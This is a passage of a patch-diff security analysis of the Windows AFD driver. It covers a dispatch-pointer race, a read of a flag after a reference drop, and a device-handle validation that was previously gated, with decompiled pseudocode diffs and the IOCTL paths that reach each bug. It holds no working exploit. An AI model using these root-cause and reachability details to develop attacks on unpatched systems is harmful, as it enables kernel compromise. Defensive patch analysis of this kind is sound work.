&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch introduces a synchronization (drain-wait) mechanism around the endpoint dispatch-pointer swap in the TDI listen-completion callback &lt;code&gt;AfdTLListenComplete&lt;/code&gt;, addressing a race condition on that swap. It also caches a state flag before a reference drop in the datagram-connect cleanup path &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; (a defensive lifetime hardening), and makes a device-consistency validation in &lt;code&gt;AfdCreateConnection&lt;/code&gt;/&lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; unconditional. The first two changes are staged behind runtime feature flags with the original behavior retained when the flag is disabled; the device-validation change is delivered unconditionally (the gate is removed).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Race Condition on Endpoint Dispatch-Pointer Swap&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization / Race Condition)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race Condition / TOCTOU&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1C00597D0&lt;/code&gt;, patched &lt;code&gt;@ 0x1C005A960&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery:&lt;/strong&gt; Feature-gated (staged rollout) behind &lt;code&gt;g_Feature_3289849145_60513071&lt;/code&gt;; original no-wait behavior retained when the flag is disabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
In the success path (IRP status &lt;code&gt;&amp;gt;= 0&lt;/code&gt;), the unpatched listen-completion callback loads the endpoint's current dispatch context (&lt;code&gt;[rbx+0x10]&lt;/code&gt;) and dispatch function pointer (&lt;code&gt;[rbx+0x18]&lt;/code&gt;), overwrites both with the new values passed in (&lt;code&gt;r15&lt;/code&gt;, &lt;code&gt;r14&lt;/code&gt;), and then immediately invokes the previously loaded (old) function pointer through the CFG guard dispatch. It does this without waiting for any TDI I/O-control operations that are concurrently in flight on the same endpoint to complete. The patch adds a per-endpoint in-flight counter at &lt;code&gt;[rbx+0xf8]&lt;/code&gt;: send/recv/query dispatch helpers increment it before their TDI dispatch call and decrement it after, and &lt;code&gt;AfdTLListenComplete&lt;/code&gt; spin-waits for that counter to reach zero (draining in-flight operations) after swapping the pointers and before invoking the old function pointer. Both the counter maintenance and the spin-wait are gated by &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_3289849145_60513071)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; &lt;code&gt;AfdTLListenComplete&lt;/code&gt; is the TDI listen-completion callback for an AFD endpoint. The in-flight counter it drains is maintained by the endpoint TDI I/O-control dispatch helpers (&lt;code&gt;AfdGetAddress @ 0x1C0035A00&lt;/code&gt;, &lt;code&gt;AfdQueryCompartmentId @ 0x1C00357D0&lt;/code&gt;, &lt;code&gt;AfdTLPauseUnPause @ 0x1C0058550&lt;/code&gt;) and &lt;code&gt;AfdAddConnectedReference @ 0x1C0047C0C&lt;/code&gt;, all reachable from AFD IOCTL dispatch via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Afd&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 2: Read of State Flag After Reference Drop (potential Use-After-Free)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-416 (Use After Free) — potential; defensive hardening&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; TOCTOU / lifetime hardening&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1C0059588&lt;/code&gt;, patched &lt;code&gt;@ 0x1C005A358&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery:&lt;/strong&gt; Feature-gated behind &lt;code&gt;g_Feature_566223161_61092118&lt;/code&gt;; original post-dereference read retained when the flag is disabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
In the cleanup/error path (&lt;code&gt;LABEL_42&lt;/code&gt;), the code calls &lt;code&gt;ObfDereferenceObject(a1)&lt;/code&gt; and then reads &lt;code&gt;*(v5+8) &amp;amp; 0x100&lt;/code&gt; to decide whether to free &lt;code&gt;MasterIrp&lt;/code&gt; with the &lt;code&gt;AfdI&lt;/code&gt; pool tag, where &lt;code&gt;v5 = *(a1+0x18)&lt;/code&gt;. If dropping the reference on &lt;code&gt;a1&lt;/code&gt; were to free the allocation backing &lt;code&gt;v5&lt;/code&gt;, this read would touch freed memory. The patch, when the feature is enabled, caches bit &lt;code&gt;0x100&lt;/code&gt; of &lt;code&gt;*(v5+8)&lt;/code&gt; into a byte before the dereference and uses the cached value for the free decision; when the feature is disabled it retains the original post-dereference read. Whether the dereference actually frees the memory backing &lt;code&gt;v5&lt;/code&gt; is not demonstrable from these binaries, so this is best characterized as a defensive lifetime hardening rather than a proven reachable UAF.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; is reached from the AFD connect dispatch path via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Afd&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Finding 3: Feature-Gated Device-Consistency Validation Made Unconditional&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-20 (Improper Input Validation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Missing / conditionally-skipped validation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions:&lt;/strong&gt; &lt;code&gt;AfdCreateConnection&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1C00491B0&lt;/code&gt;, patched &lt;code&gt;@ 0x1C0049240&lt;/code&gt;) and &lt;code&gt;AfdCreateConnection_Old&lt;/code&gt; (&lt;code&gt;@ 0x1C0015AF8&lt;/code&gt; in both builds)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delivery:&lt;/strong&gt; Delivered unconditionally (the feature gate is removed).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
During connection endpoint creation, when a file handle is supplied, the code validates that the handle's underlying device stack matches the connection's transport device (via &lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; + &lt;code&gt;IoGetDeviceAttachmentBaseRef&lt;/code&gt; comparison, returning &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; on mismatch). In the unpatched build this entire validation block is gated by &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_1484999993_59735560)&lt;/code&gt;: when the feature is disabled, the check is skipped and a handle from a different device can be associated with the AFD connection. The patched build removes the gate and performs the validation whenever a handle is supplied. The gate symbol &lt;code&gt;g_Feature_1484999993_59735560&lt;/code&gt; appears in the unpatched decompilation of both functions and is absent from the patched build entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Reached from AFD connect IOCTL dispatch via &lt;code&gt;NtDeviceIoControlFile&lt;/code&gt; on &lt;code&gt;\Device\Afd&lt;/code&gt; with a caller-supplied file handle.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdTLListenComplete&lt;/code&gt; (Race Condition)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: AfdTLListenComplete @ 0x1C00597D0 (success path, status &amp;gt;= 0) ---&lt;/span&gt;
&lt;span class="n"&gt;old_func_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// load old dispatch function pointer&lt;/span&gt;
&lt;span class="n"&gt;old_context&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// load old dispatch context&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// overwrite context (no wait)&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_func_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// overwrite function pointer (no wait)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;old_func_ptr&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;old_context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// invoke old pointer via CFG guard dispatch&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: AfdTLListenComplete @ 0x1C005A960 (success path, status &amp;gt;= 0) ---&lt;/span&gt;
&lt;span class="n"&gt;old_context&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;old_func_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_func_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_3289849145_60513071&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// drain in-flight TDI operations&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;_mm_pause&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;old_func_ptr&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;old_context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;AfdDoDatagramConnect&lt;/code&gt; (state flag read after reference drop)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: AfdDoDatagramConnect @ 0x1C0059588, LABEL_42 ---&lt;/span&gt;
&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// read after deref&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MasterIrp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AfdI&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED: AfdDoDatagramConnect @ 0x1C005A358, LABEL_42 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_566223161_61092118&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYTE1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// cache bit 0x100 before deref&lt;/span&gt;
&lt;span class="n"&gt;ObfDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_566223161_61092118&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;free_it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// use cached value&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;free_it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// retained old read&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MasterIrp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;AfdI&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3: &lt;code&gt;AfdCreateConnection&lt;/code&gt; (device-consistency validation)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED: AfdCreateConnection @ 0x1C00491B0 (handle supplied) ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_1484999993_59735560&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// gate&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ObReferenceObjectByHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;base_a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;base_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoGetRelatedDeviceObject&lt;/span&gt;&lt;span class="p"&gt;(...));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base_a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// when feature disabled: validation skipped&lt;/span&gt;
